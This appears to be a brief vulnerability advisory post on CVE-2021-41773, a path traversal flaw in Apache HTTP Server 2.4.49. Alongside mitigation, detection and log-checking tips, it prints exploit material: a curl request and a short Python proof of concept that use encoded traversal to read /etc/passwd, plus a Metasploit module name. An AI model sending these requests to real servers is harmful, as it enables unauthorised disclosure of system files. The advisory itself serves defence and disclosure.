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How the CVE Works:
CVE-2021-41773 is a path traversal vulnerability in Apache HTTP Server 2.4.49. The flaw arises due to improper input validation in the URL normalization process. Attackers can exploit this by crafting malicious requests containing encoded path traversal sequences (e.g., %2e%2e/). If the server’s `require all denied` directive is misconfigured, the attacker can bypass security checks and access files outside the document root. This could lead to sensitive file disclosure, such as `passwd` or configuration files. The vulnerability is critical because it requires no authentication and can be exploited remotely.
DailyCVE Form:
Platform: Apache HTTP Server
Version: 2.4.49
Vulnerability: Path Traversal
Severity: Critical
Date: 2021-10-05
What Undercode Say:
Exploitation:
1. Craft a malicious request:
curl -v "http://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd"
2. Use Metasploit module:
use auxiliary/scanner/http/apache_normalize_path
Mitigation:
1. Update to Apache 2.4.50 or later.
2. Restrict directory permissions:
<Directory "/"> Require all denied </Directory>
3. Implement WAF rules to block traversal patterns.
Detection:
Scan for vulnerable servers:
nmap --script http-vuln-cve2021-41773 -p 80,443 <target>
PoC Code:
import requests url = "http://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd" response = requests.get(url) print(response.text)
Log Analysis:
Check Apache logs for `%2e` or `../` patterns:
grep "%2e" /var/log/apache2/access.log
Patch Analysis:
The fix in 2.4.50 adds stricter path normalization checks.
References:
Sources:
Reported By: www.cve.org
Extra Source Hub:
Undercode
